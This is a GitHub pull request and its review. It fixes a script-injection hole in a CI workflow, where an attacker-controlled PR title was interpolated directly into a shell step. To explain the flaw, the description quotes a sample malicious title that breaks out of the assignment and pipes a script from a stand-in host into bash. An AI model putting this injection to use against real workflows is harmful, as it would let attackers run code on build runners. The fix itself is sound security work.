Skip to content

FIX @W-19079373@ Prevent PR title injection in validate-pr workflow - #2077

Merged
nikhil-mittal-165 merged 1 commit into
devfrom
nmittal/W-19079373-fix-pr-title-injection
Aug 11, 2026
Merged

FIX @W-19079373@ Prevent PR title injection in validate-pr workflow#2077
nikhil-mittal-165 merged 1 commit into
devfrom
nmittal/W-19079373-fix-pr-title-injection

Conversation

@nikhil-mittal-165

Copy link
Copy Markdown
Contributor

What & why

Fixes W-19079373[PVR] GitHub Workflows Vulnerable to PR Title Injection (P2, Pre-production Security Debt).

The validate-pr workflow interpolated the attacker-controlled github.event.pull_request.title directly into the run: shell script. Because ${{ }} expansion is textual substitution performed before bash parses the script, a crafted PR title such as x"; curl evil.sh | bash; echo " breaks out of the title="..." assignment and executes arbitrary commands on the runner (CWE-94 script injection).

Fix

  • Pass the untrusted PR title (and base_ref, for consistency) through environment variables instead of inline ${{ }} interpolation, so they are handled as data and cannot inject shell commands. This is the GitHub-recommended remediation.
  • Add a least-privilege permissions: contents: read block to cap the token's blast radius.

The startsWith(github.head_ref, ...) usages were already safe (they interpolate a literal true/false, not the raw ref) and are unchanged.

Notes

Testing

  • validate-pr re-runs on this PR and exercises the modified title-validation logic.
  • YAML validated locally.

The validate-pr workflow interpolated the attacker-controlled
github.event.pull_request.title directly into the run: shell script,
allowing script injection via a crafted PR title. Pass the title (and
base_ref) through environment variables (treated as data, not code) and
add a least-privilege permissions block (contents: read).

@aruntyagiTutu aruntyagiTutu left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Same fix as code-analyzer-core #498, applied here to validate-pr.yml's verify_pr_title job. Moves the untrusted github.event.pull_request.title (and base_ref, for consistency) into env: vars (PR_TITLE, BASE_REF) instead of direct ${{ }} interpolation inside the run: script, closing the CWE-94 script-injection vector. The remaining ${{ startsWith(github.head_ref, ...) }} / ${{ startsWith(github.base_ref, ...) }} usages are correctly left as-is since they only ever interpolate a literal true/false, not the raw ref value — no injection surface there.

Added permissions: contents: read is appropriate least-privilege hardening. PR description matches the diff, and correctly cross-references the sibling PRs (#498, vscode #366) fixing the same pattern. CI green. Approving.

@nikhil-mittal-165
nikhil-mittal-165 merged commit 09c9839 into dev Aug 11, 2026
13 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants